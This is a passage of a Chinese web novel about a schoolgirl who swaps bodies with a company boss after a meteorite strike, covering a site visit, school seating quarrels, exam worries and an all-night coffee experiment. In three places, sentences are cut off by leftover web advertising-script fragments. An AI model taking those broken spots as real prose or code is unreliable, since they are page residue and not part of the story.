阮陨星喜闻乐见,下午是一个股东会议,是关于四季度的市场决策,她负责露脸,然后选择霸总中意的那个方案。 不算难,但取消了更好。 “我说老板,在这里呆着也太无聊了,我想出去逛逛。”既然下午没事,她想出去逛逛,踩踩点,自己之前发布陨石的图片吸引来一波关注,其中不乏有意向拍照的客户,而且都是本地的,阮陨星当然想接。 “不,下午你去之前陨石落下的地方看看情况,如果有异常,就告诉研究所那边。”裴老板一口回绝,给她下了任务。 “这……好吧。”阮陨星答应,安排泡汤,但是谁让自己拿人家工资呢。 ——只要能出去透气,去那儿没有太大差别。 这时候,宋秘书进了办公室,道:“裴总,还有一个半小时出发,午饭您还是在老地方吗?” 阮陨星早上把一整个果盘给炫完了,这时候饱得不行,但她又很好奇霸总平时在什么吃午饭,于是顺势点头。 宋秘书和他一起上了车,车子开了而二十分钟,一个幽静的的地方出现在眼前,门口有门卫拦着,一眼看去,老旧的路面,两侧是郁郁葱葱的老树,树荫将阳光遮挡得严严实实。 门口的门卫确认过司机后,才放行。 她乖乖跟在宋秘书后面,板着脸,尽职尽责扮演一个高冷的精英霸总。 宋秘书带她走到一处中式院落旁,院墙爬满了爬山虎,黑漆油亮的门扇只开了一半,进去之后,悄无声息便出现了服务人员进行引导。 院落很小巧,进去是一扇花园,修建得十分雅致,随看成景,阮陨星看得口水直流——这随便一个角落都是很好的机位,不拍照可惜了。 在这边竟然还有这么一个地方?阮陨星努力回忆这附近的地形,试图找出它的位置。 然而直到进了一个包厢坐下,脑中依然没有印象。 她决定不跟自己较劲,拿出地图,点开裴彰的聊天框。 【您正在共享实时位置】 地图上显示出当前的位置。 ——原来是这里,凝雨小院。 阮陨星记下,然后顶部消息栏弹出一个消息。 裴彰:? 她点进去一看,裴彰居然也共享了位置,看样子是在学校附近吃的午饭,都是些家常小吃饭馆的名字。 她很熟练地打招呼:吃着呢? 裴彰:共享位置? 阮陨星:哦我就是查一下我现在在的位置,凝雨小院你来吃过没,那道菜比较好吃? 裴彰多了一会儿,还真发过来了。 ——板栗炖鸡,清炒时蔬,时令菌的菜也可以。 都是当季的啊,阮陨星照着点了三道菜。 然后想起来要问一下学校的情况。 阮陨星:第一天上学怎么样,你爸有没有一种重返青春的感觉。 裴彰:……没有。 裴彰:你换了位置。 阮陨星:??? 阮陨星:换哪里了,比我那个位置还好的只有角落里的那两个。 裴彰:是这两个。 阮陨星:?????? 阮陨星:怎么办到的?这下李雀影要乐死了。 裴彰打字的手一停。 对面的霸总把筷子停下,拿起纸巾优雅地擦了擦嘴巴。 随即起身:“去研究所。” 裴彰想了想:你换了个同桌。 说完就上了车。 坐在后排唤醒手机,对面发来了一大串的消息。 ——换谁?随便换很容易露馅啊! ——我知道了,是你! ——太专制了,怎么能随便换呢,我好不容易才跟雀宝坐一起! 接着是喋喋不休的吐槽,知道了是裴粟与让换的后,阮陨星更是对他大为不满。 裴彰:他决定的事情不会改变。 阮陨星气死了。 于是坐在车上她的脸黑成一团。 司机从后视镜窥见她的脸色,不知道谁惹了自己老板,他很少见到老板露出这种表情。 ——一定是集团出了问题,司机想着,开得更加小心。 阮陨星点开【老板】的聊天框,问:为什么换座位? 裴粟与过了一会儿才发过来:方便。 裴粟与:裴彰最合适。 阮陨星:那雀宝不是要伤心了,她只能一个人坐,孤零零的也没个伴。 裴粟与:以现在的情况来说,你还是先顾及你自己。 之后无论阮陨星发什么,他都没有再回消息。 专制!霸道! 阮陨星算是领略到这位霸总的强硬了,之前的随和只不过是礼貌性的装饰,可一旦真的碍了他的事,他是真不会理你啊。 况且,似乎他说的也没错。 阮陨星有一种无力感,她闷闷地翻着消息,看到雀宝在线,却又不敢发消息过去。 这感觉别提多难受了。 ———— 车子停在景区门口,阮陨星下了车,车门外早已经有景区负责人等候。 一行人领着阮陨星向里面走,为首的一个中年男人道: “裴总,景区后山从封锁有一直派人看着,陨石落地的范围我们使用您送来的探测仪器进行探测,但目前为止还没有找到另外的碎片。” 阮陨星在负责任的引导下到了缆车出发口,坐进缆车之后,她问:“那天你什么时候赶到后山的?” “大概过半个小时就到了,当时在开会,是其他人告诉我我就赶快赶去。”负责人大概以为老板在进行调查,连忙解释自己尽职尽责。 “当时没有什么异常?” 负责人迟疑了一下:“陨石坠落的场面咱这里谁也没见看到过,不知道什么算异常。就见到坡上有个坑,冒着烟气,旁边都是碳化的植物,树也被砸断了,还起了火,还好后山景区常备消防设备,及时灭了火。” “嗯。”阮陨星默不作声,到了坠落现场一看,果然是有一个坑,不大,旁边碳化的草丛已经被清理掉,周围一圈都是裸露的泥土。 从现场来看,陨石是直接撞上了一个小陡坡,附近只有灌木丛和几颗小树。 这里距离自己发现碎片的地方大概三百米左右,中间没有植物阻拦,陨石撞击后碎成两半,一半飞越三百米嵌入树干中,另外一半—— 阮陨星问:“碎片在那里发现的?” 负责人指了个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地方,阮陨星看过去,大概有两百米的样子。 “所以陨石是撞了之后分裂?”阮陨星问。 负责人摸了摸额头:“具体的情况还需要专家来进行分析,已经有相关专家联系我们,裴总您这边是否同意他们来进行研究?” 阮陨星心想这种决策当然要让裴老板来决定,她回道:“结果我之后手机上通知你。” “是。”负责人恭敬地点头应道。 ——这霸总才装了几天,竟然也有了那么几分样子了。 阮陨星觉得好笑。 她再看了一会儿,拿手机拍了拍照片,之后带着他们走到后山,找到自己当初找到碎片的那棵树附近。 也拍了几张。 负责人不解地陪在身边,等阮陨星转身挪开后,才看见那棵树干有被破坏过的痕迹。 “这!?”他脸上流露出明显的震惊:“这也是陨石造成的?” 阮陨星点头。 负责人:“我们目前只在坠落点两百米范围内搜索,没想到它飞到了这么远。。” 他紧接着好奇地问:“您是怎么知道的?” 阮陨星酷酷地道:“我有其他渠道。” 负责人肃然起敬:“不愧是裴总,我们真是惭愧,搜索了这么些天都没能找到这里。” 阮陨星让人再在周围搜查了一圈,确认无误后当先带人往后山入口处离开,出景区后,司机问:“裴总,回公司吗? “回家。”阮陨星道。 进了别墅,她轻车熟路地摸回裴总房间,一头扎在沙发上。 手机屏幕弹出消息,是裴霸总,虽然生他的气,但是她更想快点换回来,于是主动将拍到的图片和视频都发送给了他。 他问:“没有异常?” “没有。” 阮陨星想起负责人的话:“景区那边说要不要联系专家来研究测量,看陨石碎片的弹出路径,也许能找到其他碎片。” “恐怕我们手里面有的,就是全部。”裴粟与道:“扩大范围再搜索一个星期,我会和景区说请专业的人来。” 紧接着裴粟与发过来一个照片,两块陨石碎片,一模一样的形状,上下颠倒,便可以严丝合缝地嵌合在一起,组成一块完成的石块。 “这是今天早上研究所那边发过来的。” 阮陨星不明所以,她没看出这拼合后的石块有什么异常。 阮陨星:所以呢? 裴粟与:衰减后,它们依然能保持嵌合,并且组成陨石本体。 阮陨星:还是没明白。 裴粟与:……算了。 裴粟与:你回家等我们,想吃什么让她们做。 阮陨星:等等,你们要回别墅吃饭?那我外婆怎么办? 裴粟与:她自己吃。 阮陨星:不行,必须陪我外婆吃饭,她每天晚饭都是很认真炒给我吃的,绝对不能浪费。 裴粟与:一小时后见。 现在是放学时间,从学校到裴家大概一个小时。 所以这个霸总还是自顾自地做了决定,第二次了,发工资了不起啊! 阮陨星憋着一股气,势必要等到霸总回来好好谈谈。 她先是用自己手机给外婆发了消息,跟她说自己要和同学出去吃,不回家吃饭。 发完消息截图给裴粟与让他注意接阮春玲女士的电话——她不回家吃晚饭,阮春玲女士必定会打电话确认。 14. 段考在即 阮陨星坐在客厅,眼看裴粟与和裴彰父子两人一前一后进门。 看久了她就发现,这父子两人的姿态几乎是一模一样。 不,应该说是裴彰在模仿裴粟与。 但是裴彰本身几乎意识不到。 阮陨星旁观看着,却并不打算掺和进这父子两人里。 她自己的事就够烦的。 只是今天一天的时间,霸总展现了他的说一不二。 以后的日子估计更难捱,刚互换的时候还觉得新鲜,现在她只想彻底恢复正常,过自己的平凡日子。 父子两人径直走向饭厅,阮陨星跟上。 阮陨星落座饭桌左侧,问裴粟与:“你不会打算今天不回去睡觉吧?” 裴粟与:“当然不会。” “那就好。” 但霸总随后皱着眉头抱怨:“你房间里面的破烂太多了,清理一下?” “什么破烂?”阮陨星大感震惊,她的房间可以说是非常整洁,这是阮春玲女士都夸过她的。 “各种瓶子,玩偶,装饰品,瓶瓶罐罐。”裴霸总开始细数。 阮陨星抗议:“那是女生的小东西,怎么说是破烂?” 霸总继续道:“还有你的床,太小,换成个大的。” 阮陨星翻了个白眼:“房间就那么大,换了大床其他地方没位置了,你不如说把房子换个大的。” 她只是开个玩笑顺便吐槽一下,但霸总似乎在认真考虑:“长期以往,肯定是要的。” 阮陨星竖起手:“打住打住,别长期,我现在就想彻底结束这种畸形的关系。” “我比你更想。” 饭桌一时陷入沉默,阮陨星转而问:“你搬走了,我同桌下午怎么样?” “没看。”裴粟与回答得非常干脆,轻描淡写地道:“我在处理事情。” “一旁的裴彰倒是回答了:“被老师抓到在睡觉一次,看小说一次。” 阮陨星鄙视道:“如果我在她肯定不会被抓。” 裴彰很无语:“你很骄傲?” 阮陨星“切”一声,把自己盘子里的东西吃干净,然后到客厅。 裴彰递给她一沓卷子:“今天的作业。” 阮陨星看着卷子,惨叫了一声。 裴彰手抖了抖,怒道:“叫什么!?” 阮陨星抬头,绝望:“我想起,过两天是段考了,你爸会写试卷吗?” 裴彰摇头。 阮陨星捂脸:“不会写试卷我的分岂不是要掉下来了。” 裴彰冷笑一声:“你也会在意成绩啊?” 阮陨星道当然了,她知道不管自己课堂上表现多差劲,只要自己成绩好,老师对自己的小动作就可以睁只眼闭只眼,而且阮春玲女士也会放心。 成绩好意味着能考上好大学,意味着不需要人操心,她一直以来也从来没掉出年纪前五十,是阮春玲女士的骄傲。 但这骄傲马上就要破灭了,段考考砸,阮春玲女士知道自己成绩后怎么办呢? 阮陨星在沙发上翻来覆去,抱着希望问裴彰:“你说你爸会不会是那种隐藏的学霸?” 裴彰俯瞰着她,冷冷道:“他的智商毋庸置疑,但他不会记得高中语文课的内容,也不会写英语作文。” 阮陨星向后倒在沙发上:“不行,我要想想对策。” 那边,真霸总吃饭完后去了书房,关上门处理公务,阮陨星等到八点多,赶忙敲门催他回家。 “从这里到我家要一个小时,你不能太晚回去,上学日我外婆都是早早睡下明天起来给我做早餐,晚上回去会打扰她。” 千呼万唤,霸总才愿意把自己屁股从办公椅上挪起来,手上带着一叠资料,把它们塞进背包里。 “加班啊?别那么辛苦,你这个年纪应该享受人生了,别看这种这么复杂的文件,复习一下高中科目?”阮陨星在门边试探。 裴粟与:“?” 裴粟与:“有话就说。” 阮陨星双手合十拜托道:“过几天就是段考了,您考第一天,都是主科,您这两天复习一下?抱抱佛脚。” 裴霸总扬了扬手上的包:“我帮你考,你帮我看?” 阮陨星像被针刺的皮球一眼泄了气,缩起脖子安静如鸡。 裴粟与斜看她一眼,背起包去坐车。 阮陨星扭头看裴彰,脸色扭曲:“完了完了。” 裴彰早上楼梯了。 阮陨星只好回到自己二楼的临时住房,洗完澡之后,奋笔疾书把试卷做完,放下笔伸了个懒腰。 悠扬的曲调从窗外传来,阮陨星拉开门,靠在门边上侧耳听。 听起来弹奏者心情不错,可是她就痛苦了。 她听了大概五六分钟,琴声停下,阳台门打开,裴彰走出来,发现她在。 阮陨星道:“还是第一次弹的那首好听,哎你真的不打算你告诉我它的名字么?” 裴彰摇头,没回屋子,静静地看着下面的风景。 阮陨星闲不住的性子,就想要找人聊天,见状继续问: “今天下午去研究所里有进展吗?” “有。”裴彰本来不想搭理,见她问的是正经话题,才肯回答。 “说呀。”阮陨星走到阳台上,面对面等着下文。 裴彰把手机递过来,上面是两个碎片拼一起的图片,阮陨星没接:“打住,这图片我也有,下午你爹发我了,我就想问其他的。” 裴彰收回手机:“这两块碎片之间存在着某种联系。” “废话,是那种?”阮陨星毫不客气。 裴彰眉头跳了跳,抑制住想走人的心。 裴彰:“研究所用主流的的方式进行了测量,没有结果。” “这叫有进展吗?”阮陨星提高声音。 “排除了错误选项,也算有进展。”裴彰不卑不亢地道。 阮陨星烦躁地一翻身,靠着栏杆看头顶漆黑的天空:“进展太慢了,什么时候我才能恢复正常啊啊啊啊!” 裴彰扭过脸:“你不要用我爸的身体做这种表情。” 他越是这么说阮陨星越是跟他对着干,做了个鬼脸:“就不。” “裴彰,你是不是挺敬仰你爸的啊?”做完鬼脸,她放松酸痛的嘴角,随口问。 裴彰没回答。 阮陨星自说自话:“其实你不说我也看得出来,你很仰慕他,当然了,要是我爹是你爸这么厉害的人,我也会很仰慕的,你爸很强大,就是有时候脾气不太好,太霸道了。” 裴彰:“……” 阮陨星继续:“你没发现他说话都是一副命令的语气?而且很强硬,完全不考虑别人的心情?” 裴彰:“他有他的道理。” 阮陨星:“让你上那么多补习家教也是道理?我看着都要窒息了,假期从早补到晚,周末也要补对不对?难道你不痛苦吗?” 裴彰这次很久都没有回答,阮陨星扭头去看,发现他在看山下的城市。 “这是我的责任。”过了片刻后他回答。 “是,你是要接他的班,所以必须掌握更多的知识。但是,我没有诅咒的意思哈,我就是想说你爸身强力壮正值盛年,距离他放手还有几十年,这期间有很多可以学的时间,所以你没必要——” 阮陨星看见裴彰轻轻摇头,神情带着点迷茫,就说不下去了。 她其实不忍心。 填鸭式的教育,从早到晚都被安排了课程,就连运动也是遵循严格的时间表,看似很充实,但是阮陨星没看见裴彰笑过。 每次课程结束家教老师出来的时候,裴彰眼睛里都是疲惫,没有一点同龄人应该有的光彩。 作为继承人的培养固然重要,可是,也不应该磨灭他的活力吧? 阮陨星很想知道裴彰他是怎么想的。 “能接受这些安排,我很幸运。”裴彰道。 “你倒是有自知之明,但是自己的兴趣爱好被剥夺,不能做自己想做的事情,不痛苦吗?” 要是自己不能拍照,不能自由创作,她肯定痛苦得要命,实际上这段时间她也是这么过来的,意外互换导致安排被打乱,原本谋划好的主题一个都没办法拍,再下去就要下雪,秋景没有,又要等到下一年。 别提多沮丧了。 “我没有什么爱好。”裴彰淡淡地道。 阮陨星叹口气:“好吧,看来你也是乐在其中。” 过这样的生活,有这样的心境,难怪裴彰一副波澜不惊的模样,对比起他们来这人简直是苦修僧。 阮陨星真觉得没意思,她挥了挥手:“睡了。” 回到房间,照旧洗漱,然后上床睡觉。 她合上眼睛酝酿睡意,眼前一片黑暗,迷蒙中,阮陨星脑海里闪过断断续续的画面,一个女人,和一个哭泣的小孩。 她们好像是在一个废弃的别墅里,窗外是荒凉的森林,诡谲莫测的雾气弥漫在房外,叫人心生恐惧。 阮陨星惊恐地睁开眼睛,心跳得很快。 耳旁的手机闹钟响个不停,阮陨星伸手关掉,掀开被子坐起来。 咦,刚才似乎是做了一个噩梦? 阮陨星努力回想,却怎么也想不起来。 起身后,发现果然换回来了,今天是正常日。 她起身穿好衣服,却发现自己衣柜里多了不少衣服,清一色极简黑白灰的风格,鞋子也是运动休闲风。 再看内衣裤,居然也添了新的。 阮陨星拿出手机,给裴粟与发过去一条:“你买的新衣服?” “秘书买的。” 阮陨星悟头:“内衣裤也是?” “原来那些不舒服,扔了,你可以试试新的。”霸总波澜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不惊,语气跟闺蜜间相互交流私密话题别无二致。 阮陨星无语之下真的气笑了一下。 ——她是真没想到有一天,一个跟自己没什么关系的男人,会帮自己置办新的衣物,以及贴身衣物。 算了,这么些天两人也熟悉了彼此的身体,阮陨星不再尴尬于在镜子里看到霸总的脸,说起来真是神奇——她甚至学会了怎么用刮胡刀。 霸总只会比她适应得更快,现在进化到这种生活细节上她不可以理解。 她找来找去,果然找不到旧的内衣裤,只好拿了新的换上。 “咦?” 穿上之后,她愣了一下。 果然很舒服,没有束缚好像这内衣就是自己本身的一部分,但是又固定得很稳。 阮陨星心想还是你们有钱人会享受,这种好东西必须推荐给自己的朋友。 她查起牌子,然后被四位数的价格闪瞎了狗眼。 行,她要把这个推荐出去,李雀影必定觉得她疯了。 有这钱买镜头不好么。 她看着衣柜里七八套崭新的同款内衣裤套装,深深地为自己普通人的节俭生活默哀。 收拾好自己,打开房门,煎蛋的香味扑面而来。 小小的饭桌上摆着豆浆油条和两个煎蛋,煎蛋是标准的太阳蛋,边缘焦香,蛋白油脆,蛋黄半凝固状态,里面切开一准儿流黄。 还有瘦肉粥和外婆的秘制酱菜。 阮陨星的胃在闻到熟悉味道的瞬间咕咕叫起来,进食的渴望从骨头里钻出来,张牙舞爪地告诉阮陨星今天必须把这些都解决完了。 算起来,她很久没吃过外婆做的早餐了。 阮陨星拉开椅子,招呼厨房里收拾着的外婆:“外婆,一起吃!” “好呀,帮我舀一碗豆浆。”阮春玲解下围裙,擦擦手,坐到阮陨星对面。 阮陨星给两人舀好豆浆,掰了半根油条泡着,右手把煎蛋夹到碗里,咬了一大口。 “唔!好吃,还是熟悉的味道!”阮陨星三下五除二,就把一个蛋塞进了肚子里。 “说得好像好久都没吃了,天天都这样的呀。”阮春玲女士笑呵呵的。 一不小心说错话了,阮陨星赶忙找补:“夸你水平稳定呢。” 她吃完煎蛋,又呼噜噜吃起油条来。 阮外婆在对面慢慢喝豆浆,有点犹豫,但最后还是开口:“小星啊,最近是不是压力很大?” “没有啊,怎么了?”阮陨星心里一抖,难道被发现端倪了? 外婆放下碗,道:“这几天你有时候情绪很高,有时候很低沉,就拿昨天来说,早餐就吃了几口,晚上回来也不爱和外婆说话,外婆问你你也不说。 外婆想你是不是高三压力太大了,我在视频上看过,情绪的反复是很正常的,我们就是需要调节,外婆对你没有太高的要求,只要尽自己最大努力就好。” 坏了,真被发现端倪了。 昨天是互换日,霸总自顾自的行事风格跟平日的她出入太大,同学接触少没发现,外婆作为生活在一个屋檐下的亲人,立刻就察觉了不对劲。 但是还好,她应该怀疑不到互换这么离谱的事情上去,只是往高三压力大情绪反复这方面想了。 阮陨星摇头:“没有啦外婆,最近事情比较多,消耗精力,不是不理你。” “真的?”阮女士还有些不信。 阮陨星:“你看你孙女我是那种苦自己的人吗?” “那倒是,那你最近都忙什么呢?”阮外婆还要一问到底。 阮陨星挠挠头:“其实之前和雀影去景区玩,捡到了陨石碎片,有人要买它,所以最近都在和买家联系呢。” “呀,这么大的事情怎么没听你说过啊,陨石碎片在那儿,什么样子,不会有辐射吧?”阮外婆吃了一惊。 “放心啦,没有辐射,而且我假期最后一天出手了,买家就是本地的,三万呢!我和雀影一人一半!” 阮陨星有意避开第一个问题,只说了后面的情况。 她把陨石碎片的照片翻出来,给她看,还让她看了自己和裴总小号伪造的聊天交易记录。 阮外婆接过来挂上老花眼仔细一看,挺惊讶:“三万?” “没错”。阮陨星疯狂地点头,我计划着这笔钱我们到了春节可以出去玩一趟呢。 “这些钱你就留着花吧,啊,外婆不缺钱。”阮外婆笑眯眯地,把手机递回来给她。 “你不是遇到困难外婆就放心了。”外婆说着,给她空了的碗舀了瘦肉粥,语重心长地道:“其他方面也别给自己太大压力,知道吗?” “嗯,知道的。”阮陨星知道阮春玲女士只希望自己好好成长,但是她也想做阮女主的骄傲。 因此想到即将到来的段考,她就头疼。 有什么办法可以避免霸总考砸呢? 15. 第 15 章 “外婆今天送你去学校。” 吃了早餐,外婆起身去拿车钥匙。 阮陨星忙道:“不用不用,我约了同学。” “这样啊,那好吧,今天晚上想吃什么就跟外婆说,外婆给你做。” “当然,绝对不跟你客气。”阮陨星抱了一下外婆,背上书包走了。 到了路口,裴彰做的车停在路边,阮陨星拉开车门上了车。 “给你,昨天你爸带回去的资料。”她把书包里的文件掏出来,递给裴彰,低声道。 裴彰接过:“等会让司机送去。” 他放好文件后端端正正坐在座位上,侧脸隽秀阴丽。 阮陨星看着这张脸直流口水。 这种脸型,加上他瘦削的身板,穿什么衣服都好看,大部分风格可以驾驭,最重要的是,还可男可女。 阮陨星托着脸一眨不眨地盯着裴彰,饶是裴彰也不由得转过来来问她:“干什么?” “你这么好看,不拍照片可惜了,怎么样,要不要做我模特,我肯定能把你拍得特别美的!”阮陨星拍胸脯保证。 裴彰转过头去:“无聊。” 阮陨星闻言,怒道:“怎么能无聊,追求美丽是人的本能,我喜欢用拍照的方式去追寻美,这是艺术的一种!” 裴彰没反应。 “明明是你太死板,木头一样,除了学习就是学习,就算有名师教你艺术又怎么样?你还是体会不到那种发自内心的美,我都觉得你可怜,裴彰。” 阮陨星喜欢的东西被质疑,跟被猫被踩了尾巴般滔滔不绝地输出,最后刹不住车,矛头直刺裴彰。 裴彰的身形变得很僵硬。 阮陨星意识到不好,这话有些伤人。 也有可能裴彰会嘲笑她,毕竟她又凭什么觉得他可怜呢? 裴彰动了,他挂上耳机,闭上眼睛转向窗外,一种不交流的姿态。 阮陨星悻悻地坐到另外的一边车窗,裴粟与的文件横亘在两人中间,像是隔开两人的界河。 到了学校,两人一前一后下车,裴彰快步向前走。 阮陨星背着背包不紧不慢走着。 “时间还早嘛,这个速度走去,刚好踩点进教室。”阮陨星把刚才的事情抛到脑后,她从不为这种小摩擦烦心。 前面看到了李雀影的背影,她几步上前,扑到她身后揽住好友的肩膀。 “今天你这么晚!?” 阮陨星问。 跟她这种踩点王不同,通常李雀影会比自己早到十到十五分钟。 当然不要觉得她是多守时,这么早到教室只是因为她要抄作业而已。 李雀影看到是她,有些惊讶,往她身后看了一眼。 “裴彰没跟你一起?” 李雀影问。 “这话说得,他不是在前面吗?”阮陨星扬起下巴指了指前面。 “不说他,雀宝,你说我们这笔意外之财怎么花呢?” 李雀影说到这个,一下子兴奋了:“我还没想好呢,一万五耶!比我过年的红包都多,我觉得我可以买好多之前一直放在购物车里面的东西了!你呢?” 阮陨星道:“我嘛,打算出去旅游。” “哦对,旅游,我怎么没想到,我们可以一起出去!就在邻近的省份,一万五绝对够用了!” 阮陨星刚想回答好呀,但是想到自己这情况,怎么也应不出口。 她缓了一下,道:“嗯,我想起这笔钱足够买新相机了,然后再配个镜头,估计买完也没钱了,出不去。” 李雀影的情绪也淡下来:“哦哦,这样啊,那下次吧,有机会再说。” 阮陨星放开搭在她肩膀上的手,摆正身体,两人突然生出一种无形的疏离。 就这么走到教室,阮陨星沉浸在自己的世界里,习惯性跟着李雀影一直走到两人的位置,看到自己空落落的桌面,惊讶道:“书呢?” 李雀影回答她:“不是昨天搬到后面了么?” “哦对,昨天搬去跟裴彰一块儿坐了,我忘记了。” 阮陨星拍了一下自己脑袋,然后看了看抽屉:“哎,这些东西还在呀?” “都是你辛苦收集和制作的道具,就没让裴彰扔掉。”李雀影埋头看一眼,道。 阮陨星抚着胸口:“真是太好了,还是雀宝懂我。” “……”李雀影没有说话,扭头回去把作业拿出来,阮陨星看到她已经自己写好了作业。 阮陨星察觉到好友的情绪有些异常。 “雀宝,你怎么了?” 她坐到自己原先的位置上,凑近了问。 李雀影抿了抿唇:“陨星,感觉你最近怪怪的,而且好像,也不太愿意和我一起玩了,突然搬走跟裴彰坐,中午也不和我吃午饭,下午放学后直接坐车走……” “是不是,之前国庆假期的时候我做了什么让你讨厌了?” “我觉得我们两个人之间现在特别疏远,很奇怪,人还是那个人,可是你老给我一种拒我于千里之外的感觉,而且,那种神情,怎么说,冷冷地看着你,让人觉得很陌生。” 李雀影低头说完,定在原位不动。 ——坏了,都是霸总惹得祸。 阮陨星怎么会不知道两人间的问题,说到底还是互换的锅,裴霸总他肯定不会跟李雀影搞这些小女生的腻腻歪歪,就算换到她身体里也依旧保持着一种冷静理性,无情高冷的姿态。 这姿态在李雀影看来,就是拒绝她的表现。 阮陨星忙道:“真不是你的问题,是我这边,唉雀宝,是我遇到了一些事。” 李雀影一惊,抬头忙问:“什么事?有危险吗?” 她着急担心的神情展露无余,阮陨星感动得心头酸酸的——明明是她的问题,好友因为无妄之灾被疏远,但她满心找的是自己的问题,不会怪她,在听到她说自己有事的时候还很担心。 “没有危险没有危险。”阮陨星安抚道:“家里一些事情,我处理好就没事了,这段时间精力都放在这边,就冷落了你,真是对不起。” “家里……”李雀影喃喃道。 阮陨星一副不想说的样子,让李雀影自觉地闭了嘴。 “那你自己处理吧,有需要我帮忙的一定说,真是的,我还以为——”李雀影顿了顿,道:“以为是我惹你生气了。” “肯定不会,你有问题我一定指出好吧,绝不姑息。”阮陨星信誓旦旦。 李雀影扑哧一笑:“好吧,借你作业给我抄。” “不是都写了吗?”阮陨星朝桌面上的作业努嘴。 李雀影翻过后面的计算题:“选择题乱填的,后面一个字没写。” “给。” 阮陨星掏出试卷拍在桌子上。 她斟酌着道:“这段时间估计都忙着,拍照的事情咱们得回头再约了。” “没事啊你忙你的,有空再拍,倒是你,又忙家里的事情又要兼顾学习和摄影,这么忙别累生病了。” “我你还不知道,铁打的。”阮陨星邪魅一笑。 李雀影火速抄完答案后,把两人的试卷交给课代表。 早读开始,英语课代表提醒阮陨星回到自己座位。 “早读了,还不回去?你看裴彰一直盯着你呢。” 阮陨星笑嘻嘻:“我和李雀影读对话,这样记得牢。” “对,陨宝帮助我记忆,英语提分全靠她了。” 李雀影也应和。 一个愿打一个愿挨,两人这么一说课代表当然没意见,到台上领读去了。 “对了,你怎么跟裴彰坐一起了?” 读着读着,两人又说起小话来。 “帮他补习,”阮陨星随口道。 李雀影摇头:“不对吧,我听说是老班让他帮你攻坚高难题。” “随便了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老班的安排。”真实的原因自然不能说,阮陨星把锅推到老班身上,说完眨眨眼睛:“跟他坐一块方便我磨他,让他同意当我模特。” “那就期待你的成功了,嘿嘿。” 眼看老班来巡查,两人赶紧你一言我一语对练起来,老班犀利的眼神落在两人身上,看到两人如常对练,没发现异常,又转到其他组去了。 接下来的一整天,阮陨星都在赶昨天上课的进度,她拿过裴彰工整的笔记大抄特抄,掌握了要点后做基础训练题,随后是各个知识点的专项训练,最后做混合大题。 不知不觉就到了放学。 阮陨星从试卷中埋头醒来,恍然梦醒一般。 “放学了?” “放学了。” 裴彰答。 “好快。”阮陨星心想认真学习投入精神就是快。 老班站在讲台上视察卫生,提醒道:“马上就段考了,希望你们的进度都赶上来,该查缺补漏的查缺补漏,该专项提高的就专项提高,抓好晚自习的学习机会,不懂就问。” “你找到办法了吗?段考。”裴彰跟她一前一后走出学校,看着她飞扬地马尾,忍不住问。 阮陨星扭头神秘一笑:“还需要实验。” 车上,按下按钮隔绝司机室后,阮陨星和裴霸总交流了一下今天发生的事情。 “明天股东会,你记住我选择的方案,理由我已经跟你说过,到时候解释给经理们听,如果遇到提问,回答不了的找借口让他开完会找你。” 完了,裴粟与叮嘱了一句:“非解释的话控制在三句内。” 阮陨星打算今晚就执行自己的计划,随意应下。 车子把她放在路口,绝尘而去。 阮陨星拐到社区咖啡店。 “老板三杯咖啡,都加浓缩。” “好嘞。” 三杯双份浓缩的美式咖啡打包好拎到手上,阮陨星期盼地看着这几杯咖啡:“靠你们了。” 没错,她决定今晚不睡觉。 硬熬。 之前在研究所试过强制睡觉交互身体,没成功。 那么就试试延长在本体的时间,把互换的时间延后。 如果成功的话,她就可以两天一夜不睡觉,把段考考完再补觉。 用脚趾头想霸总都不会同意她乱来,所以阮陨星决定,先斩后奏。 她回到家,吃完晚饭后,喝下第一杯咖啡。 然后坐在电脑前,做一会儿题,修一会儿图。 午夜十二点,她依旧神采奕奕。 这时候,她喝下第二杯咖啡。 然后打开最上头的种地游戏。 早晨7点,她用冰水洗了把脸,喝下第三杯咖啡。 阮春玲女士打着哈欠走出房门,看到阮陨星很诧异:“小星,这么早起床?” “嗯外婆,我今天在外面吃早餐,你继续睡觉吧!”阮陨星精神百倍,背起书包就往前冲。 果然有用! 延迟睡眠时间,只要不睡觉,就不会互换! 接下来,只需要再熬一整个白天,她的计划就能够成功。 站在路口前,车辆缓缓驶来。 阮陨星打开车门跳进去,然后就看到了裴粟与和裴彰父子俩并坐一排,看着自己。 “你昨晚睡了吗?”裴粟与按着眉心,脸色暗沉,神情疲惫地问。 “没有。”阮陨星回答。 裴粟与:“你也没睡……” “当然了,因为我喝了三杯咖啡。” 阮陨星笑道。 “什么!?” 霸总一下子抬起头来,震惊地道。 裴彰也一脸看疯子的表情看着她。 阮陨星摊手:“做个实验嘛。” 接着她把自己的计划说了出来。 “原来是你搞的鬼——” 裴粟与忍住抽搐的眉头,道。 16. 熬精神 阮陨星双手合十:“让我熬完这个白天,要是没问题以后我们时间上也多了选择不是。” 霸总按住自己眉心,好一会儿才道:“下次必须提前跟我说。” “好的收到。”阮陨星嘿嘿一笑,去学校的路上又买了两杯咖啡。 原本以她这朝气蓬勃的健康身体,熬个两天一夜轻而易举,但昨天奇怪得很,十二点就困了,阮陨星心想大概是陨石互换的影响,幸好有咖啡帮自己熬了过去。 今天她怕坐在座位上犯困,便又预备下两杯。 到了路口,两人下车,阮陨星一马当先走进教室。 李雀影在座位上把试卷掏出来。 阮陨星自觉地把自己的作业递过去,李雀影抬头一看:“今天什么喜事,这么开心呢?” “唔——家里的事情有点进展。”阮陨星笑道。 “那太好了,希望陨宝你这边顺顺利利的。”李雀影双手合十,许愿道。 阮陨星也学着她的样子:“老天爷啊,不,是科学大神,让我家的事情快点解决吧。” 李雀影跟她嘀咕几句,抓紧时间把作业给抄了,然后阮陨星在早读前钻回自己角落的位置上。 她把两杯咖啡放在桌角,掏出手机把积压的消息回了一下,接着拿起书本。 早读开始,周围同学或者相互对背诗句,或者自己闭着眼睛摇头晃脑背,阮陨星拿出背诵小册子,深吸一口气,张开嘴巴大声背了起来。 “豫章故郡!洪都新府!星分翼轸!地接衡庐!襟三江而带五湖……” 她这一叫,前面的人莫名其妙地转回头,看到是她,不意外地又转回去了。 阮陨星视而不见,自顾自地背着。 